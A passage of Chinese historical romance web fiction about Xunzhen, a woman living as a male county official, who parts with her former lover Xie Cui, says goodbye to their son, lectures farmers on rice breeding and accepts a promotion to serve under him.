谢璋吃得脸颊鼓鼓,将碗里每一口菜都吃得干干净净。 饭后,寻真与甄凌收拾碗筷。 甄凌擦着桌子问:“小恒是不是很快要走了?” “嗯。” 虽还没得到谢漼亲口确认,但在这事上,应该不会骗她。 “小恒要走了,还真有些舍不得呢……他以后还会再来吧?” 寻真也不知道。 寻真没有守岁的习惯,收拾完便回房。甄凌与谢漼共处一室始终拘谨,索性也不再守岁,领着谢漼去了东厢房,自己也回了屋子。 东厢房内,谢璋晃着父亲胳膊问:“爹,你怎不与娘多说说话?” 他早已发现,两人今日都没说几句话,相处生疏得很,与记忆里完全不同。 见父亲不答,谢璋便主动分享自己的经验:“爹,你要主动些!只要对娘好,娘也会对你好的。” 谢璋忙将这五月里琢磨出的心得,一股脑儿说与谢漼听。讲起来滔滔不绝。 他道自己如何抢着去叫娘起床,借此多亲近。平日里更是眼观六路,时刻留意娘的举动,端茶递水、跑腿传话。还天天算准娘回家的时辰,守在门口相迎。 说着说着,面上泛起红晕,美滋滋道:“娘不仅总给我带好吃的,有时候还亲手喂我呢!” 谢璋又想起从前,瞧见像他这般大的要娘喂食,自己还暗暗笑话,如今轮到自己,才知有多幸福。 这种滋味体会了才知。 见谢漼始终神色淡淡,谢璋着急地晃他手臂:“爹,你听到没有?” 谢漼应了一声,摸摸谢璋的头:“爹知道了。” 谢璋:“那我去找娘了!” 谢漼:“嗯。” 寻真在屋里,听脚步声的频率,便知是谢璋来了。 谢璋敲了门,得了她应,推门而入,先规规矩矩地行了一礼,接着说了一连串吉祥话。 谢璋今日穿得喜庆,身上那件绛红锦缎袄,还是寻真让人给做的,襟前绣着金灿灿的麒麟纹。 谢璋得了这件新衣裳那天,高兴得不行,穿上就不乐意脱下了,那激动的小模样,好似从没穿过新衣服。 寻真:“谢谢小恒。” 谢璋说完吉祥话,请安告辞,寻真叫住他。 寻真从架子上拿出一个匣子,掀开匣盖,取出一包红纸裹着的物件。谢璋伸手接过,沉甸甸的。 谢璋收过谢漼给的,自然知道这里头是什么。 谢璋生平头一回收到娘给的压祟钱,喜得眉眼弯弯,心中甜甜的。 寻真心中一动,不如趁此机会把那个也一并送了。 谢璋双手捧着红包,正要行礼告退,不料寻真又叫住他,“等等,小恒,还有东西给你。” 谢璋双目倏然睁大,眼底亮起盈盈光彩,还有? 谢璋直勾勾盯着寻真的手,脖子伸得老长。 寻真从匣子里摸出个小锦盒, 递了过去。 谢璋双手接过,只觉掌心发烫,真想立刻打开来看,嗓子都不自觉夹了起来:“娘,这是什么?” 寻真笑道:“这是补给你的礼物。上回那枚玉佩我没用心,做得糙,这回可费了不少功夫,用了许多心思的,可别再摔了。” 寻真本想把这个当做临别礼,等他走时送,见他收压岁钱这般开心,便改了主意,一道送了,双倍快乐。 寻真自是留意到,谢璋颈间那枚葫芦玉佩,日日不离身。初时没在意,后来听谢璋提起以前的事,这才想起,这玉佩瞅着和她让瑞宝买的那块挺像。 这么一想,心里就琢磨着给谢璋补个礼物。虽说她没当过妈,可也看得出来,谢璋实打实把她当亲娘了,满心满眼都是依赖。 有了这送礼的心思,她就犯了难,琢磨谢璋这么大的孩子喜欢什么。 虽谢璋已十一岁了,那性子还跟五六岁的小孩子似的。她不知道这时代的小孩喜欢什么,倒是清楚现代小孩的喜好,这么一想,脑子里就冒出好多动画片。 最后挑中了奥特曼。 但画画,又把她难住了,这时候,她就很想念月兰了。 脑子里有图案,可一下笔就不是那么回事儿,画废了一堆纸,好歹才弄出个能看的草图。 谢璋捧着压岁钱和锦盒,脑子晕乎乎地走了回去。 谢璋回到自己房间,小心翼翼掀开盒盖,看清里面物件的刹那,呼吸都屏住了。 拿着锦盒盯了好一会,才从里面慢慢拿出来。 双目炯炯地观察着。 是一条金项链。 链身由环环相扣的金片组成,末端垂着枚造型奇特的金坠子。 坠子雕成小人模样,头顶凸起,眼睛的位置,镶嵌两块圆润的宝石,在烛火下泛着明亮的光。小人的唇角勾勒出很小的弧度,还做了一个姿势,一只手横向伸出,另一只手垂直上举。 谢璋捧着项链反复端详,喃喃道:“……难道这个指的是我吗?” 其实,谢璋一直惦记着被谢漼拿走的那块娘亲手做的葫芦玉佩,只是没脸开口讨回。 如今有了这条,先前那点小心思就淡了。 谢璋瞧了许久,直到困意袭来,取下脖子上的葫芦玉佩,换上这条新得的金项链。 谢璋攥着金坠子,嘴角带着笑意沉入梦乡。 寻真却在床上辗转难眠。 她总觉得,自己与谢漼的关系该有个正式了断。 毕竟两人分开,并没发生任何矛盾,甚至那时还算是热恋期。 寻真想,她跟谢漼之间,需要一个完整的结束。 披衣起身,寻真在东厢房外徘徊许久,抬手欲敲又止。 万一他已经睡了呢? 正犹豫时,门从内打开。 谢漼瞧见她的瞬间,呼吸都放缓了。 寻真放下滞在空中的手,道:“我们谈谈?” 谢漼应了一声。 寻真指了下石桌,去厨房,抱出潘竞送的葡萄酒,她喝过几次,这酒醇厚绵长,很好喝。 在谢漼对面坐下,斟上两杯酒,一杯推到他面前。 寻真将自己那杯一饮而尽,看向谢漼。 夜色深沉,院子里挂着好几盏红灯笼,橙光色的光线将周围的一切照得朦朦胧胧的,也将谢漼的轮廓晕染得忽明忽暗,看不分明。 分别六年,还没有好好看过谢漼。 也只敢在这昏暗的环境下,直视他。 察觉谢漼注视着自己,寻真暗暗吸了一口气,唤了他一声。 “谢漼。” 他没有应。 寂静中,只有远处零星的爆竹声。 寻真又给自己倒了杯酒,饮尽,缓慢而清晰地,一字一字说:“我们就这样吧。” 对面的呼吸声似是沉重了些。 寻真继续道:“以前的事,我早就放下了……你也忘了吧。” “柳氏已死,一切都回不去了。” “至于小恒,我会尽到为母的责任,你定期送他过来便好。” “此后,我们……便没什么关系了。” 谢漼始终沉默。寻真连饮三杯,酒意上涌。 这酒烈,再喝下去,便要醉了。 寻真合上酒坛,见谢漼不说话,便当他默认。 言尽于此。 她跟他,从此真正结束了。 寻真起身,晃晃悠悠,抱着酒坛往厨房走。 头也不回。 这期间,谢漼一直没有说话。 寻真将酒坛放回厨房,出来时,院子里已不见谢漼。寻真走近石桌一看,方才倒给谢漼的那一杯酒已经被喝尽了。 寻真往东厢房看了一眼,许久,转身回房。 寻真感觉酒劲涌了上来。 有点儿上头,脑子昏沉,醺醺然若坠云雾。 寻真刚要推门,手腕突然被人扣住,身子栽入一个怀抱中,来人裹着微微凉意将她笼罩,寻真有一瞬的懵。 寻真被人紧紧地拥住了。 那人一手圈着她的腰,一手放在她脑后,缓缓地抚着。 体息是熟悉的,但……没有香味。 是谢漼。 寻真没有动,耳朵贴在他的胸膛处,听着他沉重而有力的心跳。 谢漼抱了许久,急促而紊乱的呼吸在耳畔响起。 最后,他低下头,埋入她发间。 低沉的声音震进寻真心底。 他道:“如你所愿。” 等寻真回过神,院子只剩几盏灯笼在风中摇晃。 空无一人。 这回是真的。 寻真在门口站了一会儿,进去了。 第128章 第128章“可有空?” 翌日,谢璋一醒来就兴冲冲去找谢漼了,从谢漼口中得知“半时辰后启程”,仿若遭了晴天霹雳,僵立原地半晌,才回过神,问道:“为何我也要跟你一起走?” 谢璋满心想向谢漼分享自己得了项链的喜悦,被这突如其来的消息震得忘了。 谢漼:“恒哥儿忘了?我先前不是与你说过,住到年末便接你回府。” 谢璋:“是,我记得,可是……可今日是元正,娘还要在家歇息三日呢,就不能、就不能……” 谢漼:“并非这回走了就不回来,日后你若想娘了,我自会派人送你过来。” 谢璋忙跑去找寻真了。 寻真得知他们即刻启程,微微一怔,然后道:“你爹说的没错,你若想来,随时都能来。” 得了这话,谢璋虽放下心来,却仍耷拉着脑袋,一副愁眉苦脸的模样。 寻真觉得他这小表情有点好笑,还有点可爱。 谢璋坐在寻真房里,目光一刻都不离开她,脑袋随着她的身影转来转去。 寻真走到哪,谢璋就跟到哪,像拖了个小尾巴。 直到谢漼唤他,谢璋嘴巴撅得老高,眉眼低垂:“娘……我要走了……” 在这儿住了五个月,谢璋脸蛋圆润不少,泛着蜜桃般的红润色泽。虽个子依旧小巧,整个人却圆乎乎的,煞是讨喜。 “嗯。”寻真弯下身,忍不住伸出手,掐了掐他鼓起的脸颊,“又不是见不到了。” 谢璋睁着大眼睛,一瞬不瞬地盯着她。 …… 谢璋捂着红红的小脸跑出正房,瞧见谢漼,忙躲到他身后,拽起谢漼的衣摆遮住自己粉扑扑的脸蛋,只露出一对眼睛看向寻真。 寻真站在门口,直乐。 真没想到,谢漼竟“生”出一个这么容易害羞的小孩。 寻真冲谢璋挥了挥手。 谢璋瞅着她,一只手捏着谢漼的衣摆,另一手抬起,也冲她挥了挥。 寻真不经意间抬眼,正巧撞上谢漼的目光,飞快地瞥开了。 “娘。” 谢璋喊了一声,放下了遮脸的衣摆,露出一张红苹果似的脸,对着她比了个姿势。 寻真乐得不行。 不得不说,小孩的模仿能力,是真强啊。 那姿势,可不就是她送的金项链上,奥特曼的经典手势? 看着谢璋,寻真生出一种时空错乱的恍惚感。 上了马车,谢璋的心还在“扑通扑通”狂跳,许久都没能平静下来。 反观谢漼,异常平静,似一潭毫无波澜的死水。谢璋沉浸在喜悦里,丝毫没察觉父亲的异样。 往常,谢漼定会问他为何这般开心,可今日却一言不发。 谢璋激动地说:“爹,方才娘抱我了!” 那种感觉难以言喻—— 娘身上的香气扑过来,然后将他团团裹住。 那一刻,他仿佛被钉在原地,连呼吸都不会了。 说不出的安心、温暖。 谢璋兀自回味了好一会儿,突然想起什么,从衣服里掏出金项链,挺挺胸脯,得意地显摆,道:“爹,你快看!” 谢漼视线投去,凝在他胸前,配合地问道:“这是何物?” 谢璋:“这是娘亲手做给我的!她说是补给我的生辰礼呢!” “娘还说,她费了好多功夫,用了许多心思!” 谢漼伸出手,缓缓抚过金坠子。 新的一年,谢璋果然如寻真和谢漼约定的那样,常来昆山县小住。只是谢漼却再未踏入。几回往返,谢璋瞧着父亲整日黯然,便猜出了,应是娘没接受爹。 但谢璋都倾囊相授“追娘秘籍”了,爹不肯学,他也没办法。 转眼春至,又快到了播种早稻的时节。 经过测算,寻真的试验田结实率提高了4%! 寻真将去年试验田收获的稻种,一部分继续播种,余下的分给了几位农师。再将自己的经验传授给他们,让他们也跟着去试种。 去年,她一人打理整片田,差点把自己累废了。 仅凭她一人之力,自然不可能将整个县的水稻产量提升起来。 于是,寻真开始琢磨如何将种植经验传授给农户。 寻真找潘竞商议:“子尚,能否帮我一个忙?” 寻真心想,潘竞出身世家,书画技艺应该是基操,绘些简单的稻作图谱难不倒他。 果然,潘竞一口应允:“这有何难?” 二人耗费一下午,按照寻真的要求,绘出水稻花的结构、不同品种的株型、叶形与穗形。 潘竞看着画稿,疑惑道:“竞舟要这些图作甚?” 寻真便说了自己去 年的试验成果,并提出定期办公开讲座的计划。 潘竞认为可行,当即命人在集市、村口张贴告示。 限定报名人数,以及每次每户只能参加一人,并承诺听完公开课可领鸡蛋一盒。 消息一出,百姓踊跃报名,短短几日一周的课便被报满了。 寻真精心筹备了十日,终于完成了课件。 开讲那日,她站在临时搭建的高台上,将潘竞绘的水稻图悬挂在台上中央,她拿着一根细长的木棍指着,详细讲解水稻的雄蕊、雌蕊构造,以及人工去雄、授粉的技术要点。 然而,台下五十余名听众,或昏昏欲睡,或眼巴巴盯着鸡蛋发放处,竟无一人认真听讲。 寻真有些气馁,想着要不还是等农师们试种成功后,再将新稻种分给百姓们。 但这样一来便至少要耽搁一年。 潘竞瞧出了她心情低落:“竞舟莫要灰心,这才刚开始,等日子长了,定有人会听进去的。” 寻真很快振作起来:“子尚说得是,只要坚持,总会有人受益。” 寻真又在课件中加了点趣味。 “这水稻的遗传规律,就好比婚配。” “若夫妻二人皆身形矮小,那孩子多半也不高大。一高一矮,孩子便有一半几率长得高。若是双亲皆高大,孩子便极大可能是高个了。” “所以姑娘们,寻夫婿可得擦亮眼睛,为了下一代,要选聪慧、俊朗、伟岸之人!” 这番话引得台下一片哄笑。 还有不少姑娘,都是家里派来领鸡蛋的,未料到县丞会毫无顾忌地当众讲这个,都羞红了脸。 “诸位!人有人的血脉传承,稻也有稻的‘血脉’门道!” “这水稻遗传之法,与人伦繁衍道理相通。大家可取抗蝗稻为根基,配高产之种,两者相结合。” “那便有极大的可能种出上等稻了!” 寻真讲完,往台下望去,目光扫了一圈,定在一处。 潘竞身旁立着谢漼。 谢漼身为刺史,依例需不定时巡视辖下各县,此番前来昆山,是为公务。 公开课结束,百姓们便熙熙攘攘排作长队,领鸡蛋。 除此之外,寻真还附赠一套让专人定制的授粉工具。 潘竞:“缮之,竞舟可是个妙人,什么稀奇古怪的书都看过,总说出些奇思妙喻,我听都未曾听过!” 谢漼道:“方才听她讲解农事,确有独到之处。” 寻真刚走过去,就听见两人这么一段对话。 脚步微滞,须臾,上前行礼问好:“刺史大人,县尊。” 三人回了县衙,一道往里走去。 行至回廊转角,潘竞忽驻足,目光在二人之间流转。 潘竞冷不丁开口道:“缮之,竞舟,你二人今晚可有空?” 寻真听这问题,心一紧,潘竞这是想干嘛? 谢漼开口问道:“怎了?” 潘竞:“我早想撮合你们相识。” “竞舟为人通透灵秀,常发惊人之语。有趣得紧。” “你二人皆是胸藏丘壑之人,我想着,你们定能相谈甚欢。” “缮之,你意如何?” 话落,潘竞又想起竞舟与缮之那小妾容貌相似,忙补充:“若你近日无暇,改日亦可。” 谢漼颔首:“听你所言,我亦好奇,自是愿意结交,今晚便可。” 听到这话,寻真忍不住转头去看谢漼。 视线被潘竞挡得严严实实,看不见谢漼的表情。 潘竞一喜,看向寻真,语气带几分催促的意味,道:“竞舟,你呢?今晚可有空?” 寻真犹豫着。 潘竞扯了扯她的衣服。 寻真怀着歉意道:“我今晚家中还有事。” 潘竞有些可惜,但还是不死心,问谢漼:“缮之,此番巡县,欲留几日?晚间可都有安排?” 谢漼:“五日。并无他事。” 潘竞便又问寻真:“竞舟,接下来四日,你哪一日有空?” 潘竞都这么问了,寻真只好说:“后日有。” 潘竞抚掌,定下日子:“那便后日了!” 后日晚,潘竞在城中的酒楼定了包厢,三人一道进去。寻真和潘竞坐一排,谢漼坐在潘竞的对面 潘竞给寻真倒酒:“竞舟莫要拘谨,缮之虽官阶高于你我,却是个谦谦君子,最不喜那些官场俗套。” 寻真嗯了一声。 又给谢漼倒酒:“缮之,咱们这位县丞啊,整日钻研农事,去年试种新稻,收成颇丰。若能推广,今年我县定能丰收!” 谢漼颔首。 潘竞道:“对了,还未正式与你二人介绍呢。” 指着谢漼对寻真道:“这位是东都博陵谢氏五郎谢漼,字缮之。” 又指着寻真对谢漼道:“这位是泗州甄善美,字竞舟,与我同岁,少你一岁。” 谢漼接话道:“既然年岁相近,日后私下便以字相称如何?” “竞舟。” 寻真被谢漼这么唤,鸡皮疙瘩起了一身,掀眸看去,见谢漼神色淡淡,瞧不出心思。桌下,潘竞轻轻拍了拍她的腿,示意她。 寻真垂眼看着桌面,硬着头皮。 低低地唤出。 “缮之。” 第129章 第129章“切割” 席间,潘竞与谢漼谈兴正浓,话题不绝,果然是多年挚友。寻真静静地听着,鲜少言语。潘竞又说起了他在边境五年放逐的经历。 寻真已听过一遍,随意夹着碟中花生米,慢慢嚼着。 话术都是一样的。 心里不禁想,莫非潘竞见着一个人都要叨一遍他的“心酸往事”? 谢漼:“……杨氏女如今已与萧敬旸和离,此事你可有所耳闻?” 潘竞:“哦?我久离京都,倒是不知此事。” 谢漼:“若你对她余情未了,倒不妨趁此机会……再续前缘。” 这话题勾起寻真的兴致,抬眼望去,见谢漼神色正经 。 有些惊讶,没想到谢漼私底下与好友相处,也会谈论这些男女情爱之事。 居然还热心地劝人重归于好。 潘竞听谢漼这么说,满脸惊愕,道:“缮之何出此言?” 谢漼一顿,问道:“你对杨氏女无情?” 潘竞道:“我与她就见了一面,哪来的情!” 寻真忍不住插话道:“可我听说,你对杨氏情根深种,自她成婚后,你日夜难忘。见那世子有了新欢,左拥右抱,便替杨氏不平,才与他大打出手。” 潘竞从未与寻真说过这些,一听这话,更惊了,问道:“竞舟,你从何处听来的?!” 寻真只说是市井茶馆里听来,接着便将武岳讲的八卦一五一十地说了出来。 潘竞听得目瞪口呆,大拍了一下桌子。 “谣言,全是谣言!” “谁对那杨氏情根深种了! 他又转头看向谢漼,问:“莫非缮之听到的也是如此?” 谢漼点了点头。 潘竞气道:“我不过是看不惯萧敬旸当众强抢民女,路见不平出手相助,怎么就传成了为情争斗?” “这两者天差地别,世人竟如此曲解!” 寻真:“子尚莫气。今知真相,我便愈敬子尚高义。” “见义勇为,此乃侠士之风,非儿女情长可比。” “你这义举,才是真正的君子风范!” “才叫真豪杰!” 潘竞被寻真这么一夸,气便顺了,笑道:“知我者,竞舟也!” 谢漼垂眼,喝了一口酒,道:“闻竞舟去岁亲耕,改良稻种,令粮产倍收。实乃利国利民之举。” “前日听你讲学,诸多见解独到,却也有几处存疑……” 话题怎么就突兀地拐到政事上了…… 寻真看了眼谢漼,道:“并非产量倍增,不过是比寻常田地多收百里之四,稻株长得高大壮实,稻穗也饱满些。” “如今只是第一代稻种,还未稳定下来,得再种上几年,再观察。” “正如我前日所讲,不同的稻种相配,变数万千,可能育出好种,也可能长坏了。” “总之,还得等培育出能年年稳产的良种,才能放心分给其他州县。” 谢漼问:“竞舟所种的稻种与寻常者,可有差别?” 寻真答:“此稻种粒粒饱满如珠,个头都一般大,且极少有干瘪坏种,确是难得的良种。” 潘竞:“那稻种的确比旁的要好!明日让竞舟带你去粮仓,亲眼瞧瞧便知!” 谢漼颔首:“正有此意。” 接下来,谢漼与潘竞有一搭没一搭地闲聊着。 时间差不多了,便散了。 潘竞见寻真偶尔也能跟谢漼聊上几句,很是欣慰。三人在酒楼门口分别。 寻真喝了些酒,微醉了,便没上马,牵着马慢慢走回去。 走了一会儿,便听有人高声唤她。 “竞舟!竞舟!” 寻真回头,见潘竞策马疾驰而来,玄衣猎猎,未及马停稳便翻身跃下,然后将缰绳缠在腕间。 初春的夜风裹着河岸的野花香,带着几分料峭,拂过面颊。 月光落在河面上,似一条流动的银色丝带。 寻真:“何事?” 潘竞牵着马,同她并肩往前走去。 潘竞:“竞舟,你性子太过耿介。” “君子守正固然重要,却也得懂得通权达变。毛遂脱颖而出,靠的便是敢为人先。” 寻真恍然,原来潘竞将谢漼介绍给自己,是这个意思。 寻真:“多谢子尚。” 潘竞弯唇一笑,“那我走了。” 寻真点头:“嗯,明日见。” 潘竞:“明日见。” 潘竞翻身上马,马蹄踏踏,转眼便隐入夜色。 远处停下的一辆马车也缓缓启动,碾碎一地月光。 谢漼来昆山县巡查,便暂时在二堂办公。 次日午后,寻真正伏案誊写公文,忽然听仓史唤她。寻真抬头望去,谢漼正立在门口,身影被日光勾勒出一道金边。 寻真便立刻站起来,叉手行礼:“大人。” 谢漼颔首,目光从屋内扫过,问道:“竞舟现在可有空?” 寻真一愣,瞥见候在旁的仓史,立刻明白了来意。 “自是有的,我带大人去粮仓。” 县仓设在地势高燥、靠近河流处,门口有士兵把守,仓门为木质,外包铁皮,以防火、增强坚固性。 仓史开了门,便站在门口等着。 寻真领路,带着谢漼到最里面的一个廒间。 “我田中收成的稻种便都放在此间了。” 寻真打开其中一个粮囤的竹编盖子,从里面抓了一把稻种出来,掌心覆上一层金黄,粒粒稻种饱满如琥珀。 寻真摊在手心,伸过去,向谢漼展示,道:“大人,你看,这便是我去年收获的稻种了。” 谢漼微微弯着身子,盯着她的掌心,许久。 仓房墙壁上那扇小窗吝啬地透进微光,凝滞的空气里浮动着陈年谷糠的气息。 寻真感到一缕温热的呼吸若有似无地扫过手心,指尖本能地蜷起,寻真收回了手,稻种簌簌落回囤中。 封闭的仓房内,两人面对面站着。 一时有些尴尬。 寻真垂眼看着地:“若大人没别的问题,那我们便出去了?” 谢漼没有说话,入口处被他挡着。 寻真抬眸看了他一眼。 谢漼:“竞舟忘了?” “我们昨日已约定了,此处无旁人,私下互称字便好,无需这般见外。” 语气温和,神色更是毫无异常。 倒真像与好友交谈般的口吻。 谢漼这是什么意思呢? 寻真不由想起去年岁除,那一声微微颤意、如叹息般的话语。 还有那沉重的呼吸,潜入她发间、漫进肌肤,仿佛暗藏了数年的思念与情意。 难道只是自己酒劲上头的一个幻觉? 寻真不免有些走神,再看了一眼谢漼,见他面无表情,眸色更是平静,毫无波澜。 那一晚真的发生过吗? 寻真嘴上却道:“好,缮之。” 谢漼微微颔首:“走吧。” 刺史巡查,主要是考察昆山县各级官员的工作表现、对重大案件进行复查,以及视察基础设施。 潘竞便将大部分需要与刺史对接的工作都交给了寻真。 寻真虽然明白潘竞的意思,却觉得他这份好意实在有些沉重。 于是接下来,外出视察时,寻真总要与谢漼一道,将整个昆山县走了一遍。 城池、道路、桥梁、水利等基础设施,都查看了一番。 在县衙内,也是寻真与谢漼对接事务。 一开始,寻真还有些不自在,但见谢漼神色坦然,她渐渐地也放开了,就把他当作寻常上司对待。 夜里睡不着,寻真出了房,在月光下独酌。 谢漼这一表现,便是已完全承认了她“甄善美”这一身份。 都过去了。 谢漼的这个态度,反而让她心中更加放松。 或许真的可以跟过去彻底切割开来了。 谢漼的巡查结束后,寻真去送他。 如今她已想通,面对谢漼也自然许多。 寻真拎着一袋饼,递给谢漼,笑道:“缮之,这玉兰饼是家妹做的。可于途中充饥。” 她嘴角扬起弧度,笑得自然大方,眼中再没了闪躲,就好像完全释怀了过去,将对面的人当做是全新的“谢漼”了。 谢漼注视着她,平静的双眸有一瞬的波动,但很快掩饰住了,又恢复如常,“多谢竞舟。” 寻真:“愿使君此行,一路顺遂,诸事皆宜。” 说完,便打算离开,却被叫住。 谢漼:“竞舟。” 寻真回头。 谢漼拎着那袋饼,淡淡问道:“这里可有恒哥儿的份?” “恒哥儿近日总念叨你,想来看你。” 寻真神色一紧。 谢漼怎大庭广众之下说这个? 四处望望,城门口人来人往,人声嘈杂,倒也不会被人听见。望向谢漼时,眼中不免露出几分埋怨。 寻真压低声音道:“他若想来,你直接送他过来不就成了。” 谢漼颔首:“好。” 默了片刻,声音放缓、放柔许多,注视着她道:“那我走了。” 寻真:“嗯。” 说完才觉得不对。 怎么总感觉,相处氛围被谢漼带偏了。 寻真咬着唇,眉间微微蹙起。 谢漼:“那日我承诺你的,自会做到。” “只你也莫要将过去完全切断,与我从此陌路。” “若有难处,尽可来寻我。” 寻真抬眸,与他对视,没有应答。 谢漼又道:“若遇急事,便去东巷口的同德药铺,寻店主报出‘谢五’便可,他自会帮你传信到我这里。” “……可记下了?” 寻真犹豫了一下,还是嗯了一声。 谢漼回了苏州城。谢璋得了信,立刻从府中跑出来,到大门口迎接。 大眼睛灵活地转了转,在谢漼身上一扫,然后视线定格在谢漼手中的布袋上。 谢璋问道:“爹 ,那是什么?” “是不是娘让你带给我的!” 谢漼单手捧着,面不改色,淡淡道:“只是一些衣物罢了。” 谢璋狐疑地瞅了瞅,鼻尖轻轻耸动,怎闻到了一些吃食的香味呢。 第130章 第130章“答应” 寻真的公开课,除非遇上雨天,否则从不中断,就这样坚持了整整两个月。授课时,她偶尔会适当画饼,在潜移默化间,不少农户都被她打动。 加之寻真已在昆山县任职两年。 县丞大人时常穿梭于乡间田野,又改良翻车、修渠筑坝,牵头办了不少造福乡里的实事,百姓们看在眼里,记在心里,自然信得过她。 一些心思活络的农户,便主动来请教新耕作的具体实施方法。 寻真便带上农师们去田里,手把手指导。 每日午后,都在田里忙活。 这天,寻真从田里出来,满身的汗,先回家冲了个凉。 在日头下晒了许久,皮肤紧绷得难受。寻真取出潘竞送的那盒面膏,打开一看,用了快一年,盒子都见底了。寻真抠出最后一点,抹上。 这面膏质地滋润,不油腻,还带着淡淡的花香,虽美白效果一般,但保湿很好。 寻真坐马车去县衙,顺便把空盒子带上,问问潘竞这面膏是从哪儿买的。 刚踏入二堂,便听见潘竞的声音从内室传来。 “……缮之,一会便由你来告诉竞舟这个喜讯吧。” 寻真脚步一顿。 突然有种不祥的预感。 潘竞瞥见人影,喊道:“竞舟来得正是时候!正有一桩美事要与你说!” 寻真走过去,在一旁坐下。 寻真:“什么?” 潘竞看向谢漼,道:“缮之,你来说吧!” 谢漼放下茶盏,缓缓道:“我欲特委你权领司水参军一职。” 寻真当场就愣住了。 按本朝规制,像司水参军这样的官职,本该由吏部任免,可刺史也有临时委派的权力。这“权领”说白了,就是先临时干着,也就是——升职不加薪。待到年末考核,若能得刺史保举,过了朝廷那关,才能算是正式的。 当然,谢漼这么说,摆明了会给她作保。 只要她权领期间不出什么大错,这官位就稳了。 潘竞笑道:“瞧瞧竞舟,都乐傻了!”正说着,主簿进来,说有事相商。潘竞随主簿去了,二堂里只剩下寻真和谢漼。 寻真满脸问号,看向谢漼。 谢漼道:“我近日夜观天象,见角亢二宿连三日现黄气,奎宿星暗、井宿无光。又逢五运六气值‘阳明燥金’司天。” “据此推断,此乃旱蝗并至之兆。” 什么一二三……五六七八? 寻真懵懵的。 谢漼道:“上次随你巡视昆山,见那河道整治、水闸构造皆是巧妙,问了子尚,才知皆是你之功。” “那日,你在集市讲学,听你说那新稻可抗蝗,此事当真?” 寻真点了点头,一顿,又补充道:“它的病虫害抗性是比别的稻要强一些,不过第一代还不稳定,要看今年种的怎么样。” 谢漼颔首,道:“故而更需早做筹谋,防患于未然。” “若待蝗旱肆虐,再行补救,恐为时晚矣。” “这些时日,我遍察州中吏员,唯你精于农桑,熟稔水利,且仁政爱民。” 谢漼一顿,凝视她道:“竞舟,莫非你以为——” “本州用人,有失妥当?” 谢漼的意思就是说,让她跟着他,全苏州各地跑,搞农业、修水利。 听了谢漼这么一番话,寻真不禁有些走神。 以前,她想跟着他一同去救灾,死活不答应,现在呢…… 寻真往外望了望,做贼似的,确认四下无人后,突然伸手拽住谢漼的衣袖。 不过轻轻一扯,没用多大力。 那人便被拉进了里间。 这里是临时的议事室,很小,一张长桌占据中央,周围放着数把椅子,靠墙处立着个小巧的书架,上面整齐码放着律法典籍,方便议事时随时查阅。 寻真反手关上房门,转过身来,与谢漼四目相对。 谢漼的表情有些怪,垂眸望着她,眼中似有微光闪动,眸子比方才要亮一些。 寻真压低声音,道:“你是不是忘记了一件事?” 谢漼问:“何事?” 寻真答:“你明知故问。” 谢漼负手而立,道:“方才所言,未雨绸缪,其一在用人,其二在谋远。” “你身怀治水农桑之才,幸而遇上潘竞,他自是不会嫉贤妒能。” “我知你无意升迁。待潘竞任期一满,若是换了旁人,那人将你功劳据为己有,踩着你的功绩往上爬,你当真甘心?” 寻真噎住,熟悉的感觉又回来了。 倒是很想呛他一句,要你多管闲事! 我有我自己的节奏。 寻真:“谁说我无意升迁?” 谢漼:“以你如今政绩,任满升迁是迟早的事。” “只我还是那句话,官场波谲云诡,若遇宵小构陷,恐生不测。” 寻真忍不住瞪了谢漼一眼。 谢漼突然拉开房门。 两人面对面站在门口,可以随时看到两旁有没有人过来。 谢漼注视她,声音压得极低,却字字清晰:“我若能让你重新恢复女儿身。” “自此无性命之忧。” “你,可愿?” 寻真一怔,自重逢那日起,她心底便隐隐有过这猜想,谢漼会提出帮她安排新身份。 但没想到是在这样一个情景下。 重新恢复女儿身……然后呢? 寻真迟疑了。 谢漼:“你若应下,明日我便着手操办。” 寻真:“我不愿。” 谢漼的眸光暗了一瞬,却又似早有预料,神色很快如常,继续道:“你可知,只要一日顶着男子身留在官场,便如行于薄冰之上。” “唯有步步登高,待到权位稳固,方能真正主宰自己的命运,护得自身周全。” 寻真垂眸不语。 其实,谢漼说的也对。 可是…… 谢漼道:“朝中党争不断,孤身一人前行,稍有不慎便是万劫不复。” “你我相识数载,我的为人你自清楚。” “若你连我都不信,那天下再无可信之人。” 寻真盯着他。 谢漼:“只要我在一日,便能护你一日。” 自知道她还活着,谢漼怎会不想将她重新拥入怀中? 只是曾经给不起的,如今想给,她也不会要了。 可留她孤身一人在昆山县,他如何能安心? 将她调到身边,纳入自己的羽翼下,便能时时刻刻照看。 这亦是谢漼想了数夜,想出来的法子。 不远处传来脚步声,寻真往外一看,低声道:“潘竞来了。”先一步走出去。 “你们聊什么呢?”潘竞走过来,直接搭上了寻真的肩。 寻真还沉浸在方才的对话中。 若能抱上谢漼的大腿,自然再好不过了。 可同意了,那岂不是要天天与谢漼面对面了? “没什么……”寻真从腰间掏出玉质小圆盒,转移话题道,“对了子尚,你上次给我的这个面膏,挺好用的,是哪里买的?” 谢漼的视线自她肩头下移,落到她掌心。 潘竞:“这个啊,是京中的货儿,我那还有好多呢,等会给你多拿两盒来!” 寻真:“多谢。” 潘竞拍了拍寻真的肩:“咱俩这交情,说谢可就见外了!有什么需要,尽管跟我说!” 寻真嗯了一声。 谢漼:“竞舟,我方才所言,你回去好好想想,明日,能否给我个答复?” 寻真:“……好。” 谢漼颔首,转身离去。 潘竞望着他的背影,好奇问寻真:“你们方才聊什么呢?缮之让你想什么?” 寻真犹豫再三,还是坦言道:“其实,我并不想去州城。” 潘竞惊讶道:“为何?” 寻真就说,自己就只是想在昆山县做一小官,平平淡淡过这一生,并不想折腾晋升什么的。 潘竞:“此言差矣。以你的才华,怎可埋没于此?” “即便你无心功名,也该明白,唯有身居高位,方能施展抱负,造福更多百姓。” 寻真想了一晚上,最后还是决定,抱谢漼的大腿! 谢漼有一句话说的挺对,在这个世上,若连他都不可信,那便再无可信之人。 次日,她去找谢漼,应下了。 谢漼没有任何意外,似乎对此早有预料,仿佛一切皆在掌控之中。虽见谢漼这表情,心里有些微妙的不爽。 但想想他实质性给出的好处,也就算了。 县衙的同僚们得知她要离开,纷纷表示不舍,还特意为她举办了送别宴。 送别宴上,酒过三巡。 武岳对她说道:“甄兄日后飞黄腾达,可千万别忘了小弟我呀!” 寻真:“当然不会。” 甄凌得知寻真“升职不加薪”的消息,先是惊愕,随后也由衷地为她高兴。 